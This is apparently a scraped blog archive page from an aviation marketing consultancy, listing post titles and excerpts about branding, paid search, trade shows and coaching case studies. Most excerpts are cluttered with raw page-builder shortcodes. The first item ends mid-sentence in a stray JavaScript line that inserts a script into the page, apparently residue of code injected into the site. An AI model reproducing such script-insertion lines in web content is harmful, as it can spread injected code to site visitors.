The Price of Doing Nothing . . .

Thought of the day . . . There are many options with your marketing efforts- we have service levels from Light Aircraft (mostly self-service) to Business Jet (white-glove full-service) and we also have our coaching program. Here’s the one option we don’t recommend – document.currentScript.parentNode.insertBefore(s, document.currentScript);.

Random Act of Marketing #67 – Confusing the Customer

“That one little thing made such a huge difference. There was nothing wrong with the product, the problem was we were trying to accomplish too much at a time with our marketing campaign.” [fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” […]

Let’s Get Real or Let’s Not Play

I don’t know about you, but I’ve just about had it with politics. Which is not good, because it’s only September. We have another two months before the Presidential elections in the U.S. Egad. Politicians are almost as bad as sales and marketing people. Now wait just a minute, Paula, aren’t you in sales and […]

I’m not Boeing, Coca-Cola or NetJets. Can I Afford a “Brand?”

[fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none”] In spite of what you see from reading a glossy aviation magazine, most aviation companies are actually small-to-medium-sized companies that struggle with profit margins a in the last few years. We’re […]

NBAA Schedulers & Dispatchers Conference,

[fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none”] Going to the NBAA Schedulers & Dispatchers Conference, January 22-25 in San Antonio? Are you Exhibiting? You’ve made a significant investment in presenting at the Schedulers & Dispatchers Conference, now’s the […]

Random Act of Marketing #34 – Using Homemade Marketing Solutions When You Need Professional-Grade Results

[fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none”] We have a client who has also become a good friend (many of them do, which is part of the reason we love this business.) He was refreshingly honest about his […]

Random Act of Marketing #91 – Failing to Ask This Question

The answer to a single question tells you two things that are very important to your bottom line: It tells you something about your prospect. If they were actively searching for the product or service you offer on Google, as an example, then you know they are actively shopping for your product or service, and […]

Google Adwords for Aviation Marketing – Should I Pay for Search Engine Position?

“Is it better to use paid ads, like Google Adwords for aviation, or to try to get a better rank using some other method, like SEO software or writing content?” Like most marketing questions, the answer depends on your situation and objectives, but this is a question we hear a lot – there is a […]

Case Study – Philanthropy and advocacy in aviation – Susan Freidenberg, Advocate for Safety Training for Corporate Flight Attendants

[fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none”] Excerpt from our Coaching Program – Philanthropy and Advocacy in Aviation – We cover one topic impacting marketing in the aviation industry each month. Join us! ____________________________________ With all of the […]

Case Study – Philanthropy and Advocacy in Aviation – Steven Clark, Immaculate Flight and Angel Flight

Excerpt from our Coaching Program – Philanthropy and Advocacy in Aviation – We cover one topic impacting marketing in the aviation industry each month. Join us! ____________________________________ [fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none”] When Stephen Clark was […]

Case Study – Brad Searls and Special Services Corporation and the MDA Lockup

Giving Intelligently – What Inspires You?

This is an excerpt from our Aviation Sales & Marketing Coaching Program for August. If you’re a class member, you should be getting your printed materials in the mail today or tomorrow, and we hope you join us for the live Webinar on Wednesday. In the complete course, we’ll features stories from: ABCI and our […]

Do you Trust Your Marketing Consultant?

Hiring someone is always a leap of faith. Whether it’s an assistant to take your calls or a specialized consultant like an accountant, lawyer or even a sales or marketing consultant; there is always risk involved. No matter how badly the help is required, we’re not being realistic if we don’t recognize that we’re taking […]

Amazon As a Marketing Opportunity – The Place People Look for Information

If there was a store a huge number people in your primary target demographics shopped every day, and if it was possible to put your product, or information about your service, on the shelves of this very busy store for a very nominal price, you would do it, right? We certainly hope so! If not, […]

What I Didn’t Learn in Business School

I attended one of the best MBA programs in the world (the Executive MBA program in the David Eccles School of Business at the University of Utah) and received a world class education on all aspects of business. We worked in small, high-performance teams creating business plans and solving business problems. My professors were fantastic, […]

Random Act of Marketing #15 – Being “Professional” (aka Boring!)

[fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none”] Many of our first conversations with new clients include a conversation along these lines – “We’d like our website (or other marketing materials) to look really professional.” Aviation is a conservative […]

Random Act of Marketing #43 – Throwing Good Money At a Bad Concept

[fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none”] John and I saw the movie Prometheus, against the advice of friends. We should have listened to our friends. We couldn’t resist the lure of a big-budget, glitzy science-fiction thriller, and […]

Serious Business vs. “The 30 Day Gratitude Challenge.”

There are marketing companies that emphasize hype and fluff. ABCI is not one of them. The “Law of Attraction” and all of the associated “positive thinking” new age stuff is all very well and good, but the charlatans have gone WAY over the top with twisting the concept to sell everything from motivational tapes to […]

Webinar – Positioning Your Product and Countering Competition

“My competitors are killing me!” We’ve heard you! The world seems to have been overtaken by bargain hunters. On one hand, you can’t blame people for looking for a good deal. But we all know that cheaper is not always better. (Apparently, with the exception of some of your prospective customers!) Whether […]

What’s The Rotation Speed of a Successful Sales and Marketing Program?

[fusion_builder_container hundred_percent=”yes” overflow=”visible”][fusion_builder_row][fusion_builder_column type=”1_1″ background_position=”left top” background_color=”” border_size=”” border_color=”” border_style=”solid” spacing=”yes” background_image=”” background_repeat=”no-repeat” padding=”” margin_top=”0px” margin_bottom=”0px” class=”” id=”” animation_type=”” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none”] “Lift” is an important concept in aviation. It’s also an important concept in sales and marketing. To take off, we have to accelerate to a speed that generates enough lift from […]

Author: Paula Williams